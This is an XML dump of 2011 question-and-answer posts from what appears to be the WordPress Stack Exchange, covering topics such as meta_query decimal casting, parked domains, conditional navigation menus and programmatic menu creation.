  <row Id="14156" PostTypeId="2" ParentId="14154" CreationDate="2011-04-07T08:15:02.927" Score="2" ViewCount="" Body="&lt;pre&gt;&lt;code&gt;$url = esc_url ( str_replace(' ' , '-', $url ) );&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Replace the spaces to - chars before activating esc_url function, and your problem is solved.&lt;/p&gt;&#xA;" OwnerUserId="4209" LastActivityDate="2011-04-07T08:15:02.927" CommentCount="1" />
  <row Id="14157" PostTypeId="2" ParentId="14155" CreationDate="2011-04-07T08:29:09.410" Score="2" ViewCount="" Body="&lt;p&gt;I believe the page is truncated due to a fatal error.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Look for an error log file in the wp directory or add the following line to wp-config.php to hopefully see the error text:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;define( 'WP_DEBUG', true );&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="205" LastActivityDate="2011-04-07T08:29:09.410" CommentCount="2" />
  <row Id="14158" PostTypeId="1" CreationDate="2011-04-07T09:10:17.317" Score="3" ViewCount="131" Body="&lt;p&gt;When you paste an image with a &lt;code&gt;class&lt;/code&gt; attribute in the Wysiwyg editor, the pasted image no longer has this &lt;code&gt;class&lt;/code&gt; attribute.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This makes it harder to copy and paste images that are aligned with the &lt;code&gt;alignleft&lt;/code&gt; or &lt;code&gt;alignright&lt;/code&gt; classes.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This used to work in WordPress 2.7, but it no longer works in WordPress 2.8 and up. It also works in the &quot;base&quot; version of TinyMCE (tested with 3.2.7 and 3.3.9.3), so it is probably something that is added by WordPress. I tested this in Safari, Firefox 3.6 and Chrome on Mac OS X.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This has been &lt;a href=&quot;http://core.trac.wordpress.org/ticket/11234&quot; rel=&quot;nofollow&quot;&gt;mentioned in a Trac ticket&lt;/a&gt; but the main item was dismissed as a browser issue - but I think the &lt;code&gt;class&lt;/code&gt; issue is not.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Has anyone else found a way to make this work?&lt;/p&gt;&#xA;" OwnerUserId="3969" LastEditorUserId="8" LastEditorDisplayName="" LastEditDate="2011-04-07T10:59:16.990" LastActivityDate="2011-08-22T03:33:15.287" Title="Pasting images removes class attribute" Tags="&lt;images&gt;&lt;visual-editor&gt;&lt;wysiwyg&gt;" AnswerCount="1" CommentCount="7" FavoriteCount="2" />
  <row Id="14159" PostTypeId="2" ParentId="14124" CreationDate="2011-04-07T09:50:53.757" Score="1" ViewCount="" Body="&lt;p&gt;I think you will have to take this to the plugin author. WordPress 3.1 added explicit support for multi-taxonomy queries, this probably conflicts with it.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Related posts on the WP.org support forums:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;a href=&quot;http://wordpress.org/support/topic/plugin-sk-multi-tag-sk-multi-tag-does-not-work-with-wordpress-311&quot; rel=&quot;nofollow&quot;&gt;Sk multi tag does not work with WordPress 3.1.1.&lt;/a&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&quot;http://wordpress.org/support/topic/plugin-sk-multi-tag-wish-this-worked-with-31&quot; rel=&quot;nofollow&quot;&gt;Wish this worked with 3.1&lt;/a&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;" OwnerUserId="8" LastActivityDate="2011-04-07T09:50:53.757" />
  <row Id="14160" PostTypeId="2" ParentId="14119" CreationDate="2011-04-07T10:12:06.187" Score="0" ViewCount="" Body="&lt;p&gt;When using multiple taxonomies (even more than only the built-in Category and Tag taxonomies), many people use &lt;a href=&quot;http://wordpress.org/extend/plugins/query-multiple-taxonomies/&quot; rel=&quot;nofollow&quot;&gt;the Taxonomy Drill-Down plugin&lt;/a&gt;. It offers a nice drill-down widget which user can use to navigate your site.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;http://s.wordpress.org/extend/plugins/query-multiple-taxonomies/screenshot-1.png?r=369993&quot; alt=&quot;Widget screenshot&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The plugin used to be called &quot;Query Multiple Taxonomies&quot; because it offered support for multiple taxonomies in queries, but that code was moved to the core in version 3.1, so the plugin now focuses on the UI.&lt;/p&gt;&#xA;" OwnerUserId="8" LastActivityDate="2011-04-07T10:12:06.187" CommentCount="1" />
  <row Id="14161" PostTypeId="2" ParentId="14121" CreationDate="2011-04-07T10:33:19.353" Score="1" ViewCount="" Body="&lt;p&gt;The code indeed &lt;a href=&quot;http://core.trac.wordpress.org/browser/tags/3.1.1/wp-includes/js/autosave.dev.js#L30&quot; rel=&quot;nofollow&quot;&gt;only looks at the TinyMCE editor&lt;/a&gt; or the title and content field if the editor is hidden:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;window.onbeforeunload = function(){&#xA;    var mce = typeof(tinyMCE) != 'undefined' ? tinyMCE.activeEditor : false, title, content;&#xA;&#xA;    if ( mce &amp;amp;&amp;amp; !mce.isHidden() ) {&#xA;        if ( mce.isDirty() )&#xA;            return autosaveL10n.saveAlert;&#xA;    } else {&#xA;        title = $('#post #title').val(), content = $('#post #content').val();&#xA;        if ( ( title || content ) &amp;amp;&amp;amp; title + content != autosaveLast )&#xA;            return autosaveL10n.saveAlert;&#xA;    }&#xA;};&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;You could replace that &lt;a href=&quot;https://developer.mozilla.org/en/DOM/window.onbeforeunload&quot; rel=&quot;nofollow&quot;&gt;&lt;code&gt;onbeforeunload&lt;/code&gt;&lt;/a&gt; handler with your own (be sure to include the existing functionality of course). Or play with the &lt;code&gt;isDirty()&lt;/code&gt; state of the TinyMCE editor and that &lt;code&gt;autosaveLast&lt;/code&gt; value?&lt;/p&gt;&#xA;" OwnerUserId="8" LastActivityDate="2011-04-07T10:33:19.353" CommentCount="3" />
  <row Id="14162" PostTypeId="2" ParentId="13962" CreationDate="2011-04-07T11:01:29.373" Score="1" ViewCount="" Body="&lt;p&gt;I solved it myself..&lt;/p&gt;&#xA;&#xA;&lt;p&gt;It was issue in the windows server with wordpress 3.1 so i installed the Permalink fix pack @ &lt;a href=&quot;http://wordpress.org/extend/plugins/permalink-fix-disable-canonical-redirects-pack/&quot; rel=&quot;nofollow&quot;&gt;wordpress.org/extend/plugins/… .&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Now its working fine.. I've no issues linux server.. &#xA;I've to dive into the thing to know why that is happening in windows server...&lt;/p&gt;&#xA;" OwnerUserId="4452" LastActivityDate="2011-04-07T11:01:29.373" />
  <row Id="14163" PostTypeId="1" AcceptedAnswerId="14178" CreationDate="2011-04-07T11:40:18.783" Score="0" ViewCount="180" Body="&lt;p&gt;Each post has a lat/lng value attached to it via postmeta. I'm trying to grab all posts within a bounding lat/lng value. Here's the &lt;code&gt;get_posts&lt;/code&gt; query:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$posts = get_posts(array(&#xA;    'posts_per_page' =&amp;gt; 100,&#xA;    'post_type' =&amp;gt; 'place',&#xA;    'post_status' =&amp;gt; 'publish',&#xA;    'meta_query' =&amp;gt; array(&#xA;        array(&#xA;            'key' =&amp;gt; 'places_lat',&#xA;            'value' =&amp;gt; array($lat_min, $lat_max),&#xA;            'compare' =&amp;gt; 'BETWEEN',&#xA;            //'type' =&amp;gt; 'DECIMAL',&#xA;        ),&#xA;        array(&#xA;            'key' =&amp;gt; 'places_lng',&#xA;            'value' =&amp;gt; array($lng_min, $lng_max),&#xA;            'compare' =&amp;gt; 'BETWEEN',&#xA;            //'type' =&amp;gt; 'DECIMAL',&#xA;        ),&#xA;    ),&#xA;));&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Since postmeta values are stored as strings, I figured I should be casting to &lt;code&gt;DECIMAL&lt;/code&gt;, but it just seems to trim the decimal value from the string due to the lack of &lt;code&gt;DECIMAL&lt;/code&gt; arguments/precision parameters.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I did notice the query treats the floats within the &lt;code&gt;value&lt;/code&gt; array as strings, which could also be another point of failure. Running the compiled query without the quotes around each floating value works as expected.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'll be using &lt;code&gt;get_permalink()&lt;/code&gt; on each post. I can run a custom query outside of &lt;code&gt;get_posts&lt;/code&gt; (via &lt;code&gt;$wpdb-&amp;gt;get_results()&lt;/code&gt;) to properly grab the posts within the bounding box, then loop through the posts and &lt;code&gt;get_permalink&lt;/code&gt;, but it ends up firing an additional database query per post to build the permalink - not an ideal solution!&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Any ideas?&lt;/p&gt;&#xA;" OwnerUserId="1571" LastActivityDate="2011-04-07T18:02:01.257" Title="meta_query: using BETWEEN with floats and/or casting to DECIMAL" Tags="&lt;wp-query&gt;&lt;post-meta&gt;&lt;get-posts&gt;" AnswerCount="1" CommentCount="1" />
  <row Id="14164" PostTypeId="1" AcceptedAnswerId="14166" CreationDate="2011-04-07T12:24:09.193" Score="0" ViewCount="104" Body="&lt;p&gt;I would like to use WordPress to not only run my site, but also to manage users, handle authentication, and read/write content via a client application, but I would like to avoid writing everything from scratch on the PHP-side, as I don't know PHP that well.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is there a &quot;Services&quot; plugin similar to that in &lt;a href=&quot;http://drupal.org/project/services&quot; rel=&quot;nofollow&quot;&gt;Drupal&lt;/a&gt;, or something else that can give me easy access to using WordPress as a data-store for a client application?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks much in advance for all of your assistance!&lt;/p&gt;&#xA;" OwnerUserId="4502" LastActivityDate="2011-04-07T12:54:17.537" Title="WordPress as a data-store?" Tags="&lt;plugins&gt;&lt;database&gt;" AnswerCount="1" />
  <row Id="14165" PostTypeId="1" AcceptedAnswerId="14167" CreationDate="2011-04-07T12:53:40.847" Score="0" ViewCount="72" Body="&lt;p&gt;Bought some hosting with BlueHost, and when I signed up, I carelessly choose 'DekhoForum' as my domain name.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I proceeded to setup a &lt;a href=&quot;http://www.dekhoforum.com&quot; rel=&quot;nofollow&quot;&gt;website&lt;/a&gt; with Wordpress 3.1 at the root folder of that address.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Realised that my company had already reserved some domain names with a different provider, that were more suitable.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So we got those domains forwarded to the BlueHost nameservers.  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;So.  I now have a parked domain for dekho.com.au as shown in my cPanel:&#xA;&lt;img src=&quot;http://i.stack.imgur.com/npKhe.png&quot; alt=&quot;BlueHost&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If I hit the parked domain, it does take me to my Wordpress install.  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;However, when I click on subsequent links, it will take me to URLs like:&lt;br&gt;&#xA;&lt;em&gt;dekhoforum.com/page=1&lt;/em&gt;&lt;br&gt;&#xA;I would prefer it to retain:&lt;br&gt;&#xA;&lt;em&gt;dekho.com.au/page=1&lt;/em&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;How do I fix this?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Seeing as I am still in the early stages of my development, I would like to iron this issue out from the beginning to avoid any headaches further down the track.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I am not sure if this is something I should be changing under the Wordpress settings or something from within my BlueHost cPanel?&lt;/p&gt;&#xA;" OwnerUserId="4280" LastActivityDate="2011-04-07T13:04:02.690" Title="How do I switch my Wordpress to point to Parked Domain?" Tags="&lt;domain-mapping&gt;" AnswerCount="2" CommentCount="1" FavoriteCount="1" />
  <row Id="14166" PostTypeId="2" ParentId="14164" CreationDate="2011-04-07T12:54:17.537" Score="1" ViewCount="" Body="&lt;p&gt;WordPress uses an &lt;a href=&quot;http://codex.wordpress.org/XML-RPC_Support&quot; rel=&quot;nofollow&quot;&gt;XML-RPC interface&lt;/a&gt;  in which you can define &lt;a href=&quot;http://kovshenin.com/archives/custom-xml-rpc-methods-in-wordpress/&quot; rel=&quot;nofollow&quot;&gt;your own custom methods to it&lt;/a&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;And if server side coding is not your thing , then there are a few plugins that do most of the job for you:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;a href=&quot;http://wordpress.org/extend/plugins/wordpress-web-service/&quot; rel=&quot;nofollow&quot;&gt;WordPress Web Service&lt;/a&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&quot;http://wordpress.org/extend/plugins/extended-xml-rpc-api/&quot; rel=&quot;nofollow&quot;&gt;Extended API&lt;/a&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&quot;http://wordpress.org/extend/plugins/wp-restful/&quot; rel=&quot;nofollow&quot;&gt;WP RESTful&lt;/a&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;" OwnerUserId="2487" LastActivityDate="2011-04-07T12:54:17.537" CommentCount="1" />
  <row Id="14167" PostTypeId="2" ParentId="14165" CreationDate="2011-04-07T13:02:26.707" Score="1" ViewCount="" Body="&lt;p&gt;&lt;a href=&quot;http://codex.wordpress.org/Changing_The_Site_URL&quot; rel=&quot;nofollow&quot;&gt;Changing the Site URL&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="490" LastActivityDate="2011-04-07T13:02:26.707" />
  <row Id="14168" PostTypeId="2" ParentId="14165" CreationDate="2011-04-07T13:04:02.690" Score="1" ViewCount="" Body="&lt;p&gt;Take a look at &lt;a href=&quot;http://codex.wordpress.org/Changing_The_Site_URL&quot; rel=&quot;nofollow&quot;&gt;Changing The Site URL&lt;/a&gt; codex entry.&lt;/p&gt;&#xA;" OwnerUserId="2487" LastActivityDate="2011-04-07T13:04:02.690" />
  <row Id="14169" PostTypeId="1" AcceptedAnswerId="14173" CreationDate="2011-04-07T13:07:20.890" Score="3" ViewCount="149" Body="&lt;p&gt;I see the following pattern over and over, &lt;a href=&quot;http://wordpress.stackexchange.com/search?q=doing_autosave&quot;&gt;on this site&lt;/a&gt; and on other places:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;add_action( 'save_post', 'wpse14169_save_post' );&#xA;function wpse14169_save_post( $post_id )&#xA;{&#xA;    if ( defined( 'DOING_AUTOSAVE' ) &amp;amp;&amp;amp; DOING_AUTOSAVE ) {&#xA;        return $post_id;&#xA;    }&#xA;    // Other code...&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Why should I return &lt;code&gt;$post_id&lt;/code&gt;? &lt;code&gt;save_post&lt;/code&gt; is an action, and &lt;a href=&quot;http://core.trac.wordpress.org/browser/tags/3.1.1/wp-includes/plugin.php#L392&quot; rel=&quot;nofollow&quot;&gt;the return value of an action handler is ignored&lt;/a&gt;. The WordPress core itself &lt;a href=&quot;http://core.trac.wordpress.org/browser/tags/3.1.1/wp-includes/post.php#L4666&quot; rel=&quot;nofollow&quot;&gt;doesn't do it either&lt;/a&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The Codex example &lt;a href=&quot;http://codex.wordpress.org/Function_Reference/add_meta_box#Example&quot; rel=&quot;nofollow&quot;&gt;does return the &lt;code&gt;$post_id&lt;/code&gt;&lt;/a&gt;, but it would not be the first incorrect (or outdated) line in the Codex.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Am I missing something? Do I need to return &lt;code&gt;$post_id&lt;/code&gt;? Was there a there a time when this was needed?&lt;/p&gt;&#xA;" OwnerUserId="8" LastActivityDate="2011-05-03T18:58:51.860" Title="Return $post_id when DOING_AUTOSAVE?" Tags="&lt;code&gt;&lt;best-practices&gt;&lt;save-post&gt;&lt;actions&gt;" AnswerCount="2" CommentCount="1" FavoriteCount="1" />
  <row Id="14170" PostTypeId="2" ParentId="5777" CreationDate="2011-04-07T13:23:43.647" Score="0" ViewCount="" Body="&lt;p&gt;Some argue that encapsulation is the only (or at least primary) benefit that OOP offers, and that inheritance and state are somewhere between boring and evil:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://obiecte.blogspot.com/2008/09/oop-sucks.html&quot; rel=&quot;nofollow&quot;&gt;http://obiecte.blogspot.com/2008/09/oop-sucks.html&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The author's talking more about using classes/objects as structs than as containers for static functions, but it's interesting to read a completely different take on the question, from someone who's squarely outside of the OOP camp.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I may write my next WordPress Plugin in Haskell.&lt;/p&gt;&#xA;" OwnerUserId="1851" LastActivityDate="2011-04-07T13:23:43.647" />
  <row Id="14171" PostTypeId="1" AcceptedAnswerId="14172" CreationDate="2011-04-07T14:21:28.827" Score="1" ViewCount="405" Body="&lt;p&gt;I have one &quot;branch&quot; of my main site's navigation tree that should only be accessible to a set of registered, logged-in users. I understand how to query a user's role and capabilities. This question is specifically about what is the best way to leverage the build-in nav menu, but just hide an item conditionally.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Do I need to overload the built-in default navigation and write a custom query and build the navigation structure manually? I'd love to avoid this if possible.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I don't need full code samples, just your ideas and general framework / approach.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Appreciate the advice!&lt;/p&gt;&#xA;&#xA;&lt;p&gt;T&lt;/p&gt;&#xA;" OwnerUserId="3687" LastActivityDate="2011-08-23T21:42:01.660" Title="Display navigation menu item conditionally based on user capabilities" Tags="&lt;navigation&gt;&lt;roles&gt;&lt;conditional-content&gt;&lt;user-roles&gt;" AnswerCount="5" />
  <row Id="14172" PostTypeId="2" ParentId="14171" CreationDate="2011-04-07T14:24:52.523" Score="2" ViewCount="" Body="&lt;p&gt;Use your &lt;a href=&quot;http://wordpress.stackexchange.com/questions/14037/menu-items-description/14039#14039&quot;&gt;own walker&lt;/a&gt; and check the capability before you create an item.&lt;/p&gt;&#xA;" OwnerUserId="73" LastActivityDate="2011-04-07T14:24:52.523" CommentCount="4" />
  <row Id="14173" PostTypeId="2" ParentId="14169" CreationDate="2011-04-07T14:30:00.133" Score="1" ViewCount="" Body="&lt;p&gt;The &lt;code&gt;'save_post'&lt;/code&gt; action was &lt;a href=&quot;http://core.trac.wordpress.org/browser/tags/2.0/wp-includes/functions-post.php#L205&quot; rel=&quot;nofollow&quot;&gt;added to core in 2.0&lt;/a&gt;, and has always been an action. Looking through the current autosave procedures, it doesn't appear to call the &lt;code&gt;'save_post'&lt;/code&gt; action directly at any time.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So the short answer is, no. There is no reason, and has never been any reason, to return any value on this action. Of course, it doesn't hurt at all to do return the post id.&lt;/p&gt;&#xA;" OwnerUserId="11" LastActivityDate="2011-04-07T14:30:00.133" />
  <row Id="14174" PostTypeId="1" CreationDate="2011-04-07T15:34:51.900" Score="-2" ViewCount="349" Body="&lt;p&gt;I have a problem with deleting or removing products from WPEC. If I add a product and then go to the checkout its fine, the problem is if I want to delete the product and carry on shopping for example. If I go back to the on-line shop and then click checkout (after the product has been removed) the product is still there. ?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Also If I add a product and then go to checkout and then back to shopping and add another product the new product does not appear in the checkout but the original one does?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I only encountered this problem after I updated my WP from WordPress 3.0.3. and at the same time I updated WPEC from 3.7.7 to the latest version. These previous two versions work fine together with a number of themes but now I have the above problems with the latest versions ?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I wonder if anyone can help or has any suggestions ?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Dave&lt;/p&gt;&#xA;" OwnerUserId="4504" LastEditorUserId="847" LastEditorDisplayName="" LastEditDate="2011-04-07T16:13:07.880" LastActivityDate="2011-04-30T11:18:49.690" Title="Cannot delete (remove) products from WP ecommerce checkout page?" Tags="&lt;plugins&gt;&lt;plugin-wp-e-commerce&gt;" AnswerCount="1" />
  <row Id="14175" PostTypeId="2" ParentId="14171" CreationDate="2011-04-07T16:02:22.797" Score="1" ViewCount="" Body="&lt;p&gt;The answer toscho posted &lt;strong&gt;is correct&lt;/strong&gt; but for the few people who know what they are doing and how to do it. :)&#xA;I'm adding this for the rest of the world as a simpler solution for the less advanced users. The idea would be to have different menus and just displaying them based on the user role.  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;So say you have 3 menus named editor, author and  default:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;if (current_user_can('Editor')){&#xA;    //menu for editor role&#xA;    wp_nav_menu( array('menu' =&amp;gt; 'editor' ));&#xA;&#xA;}elseif(current_user_can('Author')){&#xA;    //menu for author role&#xA;    wp_nav_menu( array('menu' =&amp;gt; 'author' ));&#xA;&#xA;}else{&#xA;    //default menu&#xA;    wp_nav_menu( array('menu' =&amp;gt; 'default' ));&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="2487" LastActivityDate="2011-04-07T16:02:22.797" CommentCount="3" />
  <row Id="14176" PostTypeId="1" AcceptedAnswerId="14209" CreationDate="2011-04-07T16:17:55.937" Score="0" ViewCount="148" Body="&lt;p&gt;I'm getting a puzzling error when I var_dump on $menu_id in the code below...&lt;/p&gt;&#xA;&#xA;&lt;p&gt;First, the test code to create a custom menu on the fly and assign it to a registered menu location called &quot;header-menu&quot; (creates the menu but fails in assigning it to the theme's menu location)...&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$menu_id = wp_create_nav_menu('my_test_menu_abc_123');&#xA;//var_dump($menu_id);die;&#xA;wp_update_nav_menu_item($menu_id, 0, array(&#xA;    'menu-item-title' =&amp;gt; 'First Menu Item', &#xA;    'menu-item-url' =&amp;gt; 'http://mysite.com', &#xA;    'menu-item-status' =&amp;gt; 'publish'));&#xA;$theme = get_current_theme();&#xA;$mods = get_option(&quot;mods_$theme&quot;);&#xA;$mods['nav_menu_locations']['header-menu'] = $menu_id;&#xA;update_option(&quot;mods_$theme&quot;, $mods);&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;When I var_dump on $menu_id below, its returning...&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;object(WP_Error)#110 (2) {&#xA;  [&quot;errors&quot;]=&gt; array(1) {&#xA;  [&quot;menu_exists&quot;]=&gt; array(1) { [0]=&gt;&#xA;  string(102) &quot;The menu name&#xA;  my_test_menu_abc_123 conflicts with&#xA;  another menu name. Please try&#xA;  another.&quot; } } [&quot;error_data&quot;]=&gt;&#xA;  array(0) { } }&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;It does not matter what I name the menu, I'm always getting this error. Which leads me to believe I have a flaw in the logic of my code below. Although, it still creates the menu fine, and inserts the menu item into it. It just fails to assign the menu to the theme's header-menu location.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Any ideas?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Background&lt;/strong&gt;: &#xA;Thanks to the help of &lt;a href=&quot;http://wordpress.stackexchange.com/questions/14116/custom-nav-menu-is-created-with-default-pages-but-not-hooked-to-themes-custom-m&quot;&gt;@Bainternet&lt;/a&gt;, I've managed to come pretty close to a solution. What I'm trying to do is to programmatically create a new custom menu on the fly &lt;strong&gt;[solved]&lt;/strong&gt;, then assign that menu to one of my theme's registered &quot;Menu Locations&quot; [&lt;strong&gt;still not solved&lt;/strong&gt; - &lt;a href=&quot;http://wordpress.org/support/topic/how-to-assign-a-wordpress-3-menu-to-primary-location-programmatically&quot; rel=&quot;nofollow&quot;&gt;and no one else appears to be able to do this&lt;/a&gt;], all via script inside a plugin.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;However, eve though the code above will create the my_test_menu_test perfectly, its not assigning it to the &quot;header-menu&quot; location of the theme.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;My first clue to a problem, is the fact that the echo statement appears to be in conflict with the code I'm using to create the menu.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here is an external reference I've been using...&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://wordpress.org/support/topic/how-to-assign-a-wordpress-3-menu-to-primary-location-programmatically&quot; rel=&quot;nofollow&quot;&gt;http://wordpress.org/support/topic/how-to-assign-a-wordpress-3-menu-to-primary-location-programmatically&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;However, its unclear whether the author's solution actually works for anyone else (according to my experience and that of the other responders on the post)...&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;em&gt;Interestingly, as some have noted, the assignment of a custom nav menu to a theme's custom menu locations does not appear to be included in the Custom Menu API...&lt;/em&gt;&lt;/p&gt;&#xA;" OwnerUserId="366" LastEditorUserId="366" LastEditorDisplayName="" LastEditDate="2011-04-07T16:37:08.507" LastActivityDate="2011-04-07T21:07:29.950" Title="WP custom menus error &gt; menu name already exists?" Tags="&lt;plugin-development&gt;" AnswerCount="1" CommentCount="9" FavoriteCount="1" />
  <row Id="14177" PostTypeId="1" AcceptedAnswerId="14184" CreationDate="2011-04-07T16:27:43.167" Score="0" ViewCount="402" Body="&lt;p&gt;Is it possible to retreive media image directly into the library... Something like get_media ('all') and it return a array with image url, caption, description etc etc..&lt;/p&gt;&#xA;" OwnerUserId="3969" LastActivityDate="2011-04-07T17:28:50.450" Title="Function to get image from media library" Tags="&lt;media-library&gt;" AnswerCount="1" />
  <row Id="14178" PostTypeId="2" ParentId="14163" CreationDate="2011-04-07T16:29:16.030" Score="1" ViewCount="" Body="&lt;p&gt;You can filter generated SQL and add precision parameters that you need.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Enable filters for &lt;code&gt;get_posts()&lt;/code&gt; by adding following to query:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;'suppress_filters' =&amp;gt; false,&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;And:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;add_filter('posts_where','cast_decimal_precision');&#xA;&#xA;function cast_decimal_precision( $where ) {&#xA;&#xA;    return str_replace('DECIMAL','DECIMAL(10,3)',$where);&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Update&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;With Jan's suggestion:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;add_filter('get_meta_sql','cast_decimal_precision');&#xA;&#xA;function cast_decimal_precision( $array ) {&#xA;&#xA;    $array['where'] = str_replace('DECIMAL','DECIMAL(10,3)',$array['where']);&#xA;&#xA;    return $array;&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="847" LastEditorUserId="847" LastEditorDisplayName="" LastEditDate="2011-04-07T18:02:01.257" LastActivityDate="2011-04-07T18:02:01.257" CommentCount="4" />
  <row Id="14179" PostTypeId="2" ParentId="14126" CreationDate="2011-04-07T16:31:04.457" Score="0" ViewCount="" Body="&lt;p&gt;If you do not mind editing the Wordpress core I found a few places that might be worth a look. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Trolling through wp-admin/includes/media-upload.php lead me to media_handle_upload() (line #186) and image_resize() (line #405 of wp-includes/media.php).  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;media_handle_upload() deals with the media form submission.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;image_resize() handles in the very least the name of a resized image (e.g. filename.jpg resized to filename-200x200.jpeg).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I also found wp_create_thumbnail() (line #23 of wp-includes/wp-admin/image.php) which has a filter of 'wp_create_thumbnail' called after the above mentioned image_resize() if you wanted to try to go the pluggable route. &lt;/p&gt;&#xA;" OwnerUserId="2362" LastActivityDate="2011-04-07T16:31:04.457" CommentCount="1" />
  <row Id="14180" PostTypeId="2" ParentId="14149" CreationDate="2011-04-07T16:39:03.093" Score="1" ViewCount="" Body="&lt;p&gt;Return of that function should have post ID, right? Then it's straight &lt;a href=&quot;http://codex.wordpress.org/Function_Reference/get_post_meta&quot; rel=&quot;nofollow&quot;&gt;&lt;code&gt;get_post_meta()&lt;/code&gt;&lt;/a&gt; using that ID and name of your field.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Update&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In your second code snippet &lt;code&gt;$post&lt;/code&gt; is global variable, &lt;code&gt;$post-&amp;gt;ID&lt;/code&gt; is not tied in any way with return of &lt;code&gt;stats_get_csv()&lt;/code&gt; function. You need something like from first example (&lt;code&gt;$p['post_permalink']&lt;/code&gt;), just figure out if there is a field with ID.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Also you don't need wrapping &lt;code&gt;if ( get_post_meta($post-&amp;gt;ID, 'Image', true) )&lt;/code&gt; that would make sense only for single current post, not for loop of posts.&lt;/p&gt;&#xA;" OwnerUserId="847" LastEditorUserId="847" LastEditorDisplayName="" LastEditDate="2011-04-08T07:54:20.853" LastActivityDate="2011-04-08T07:54:20.853" CommentCount="6" />
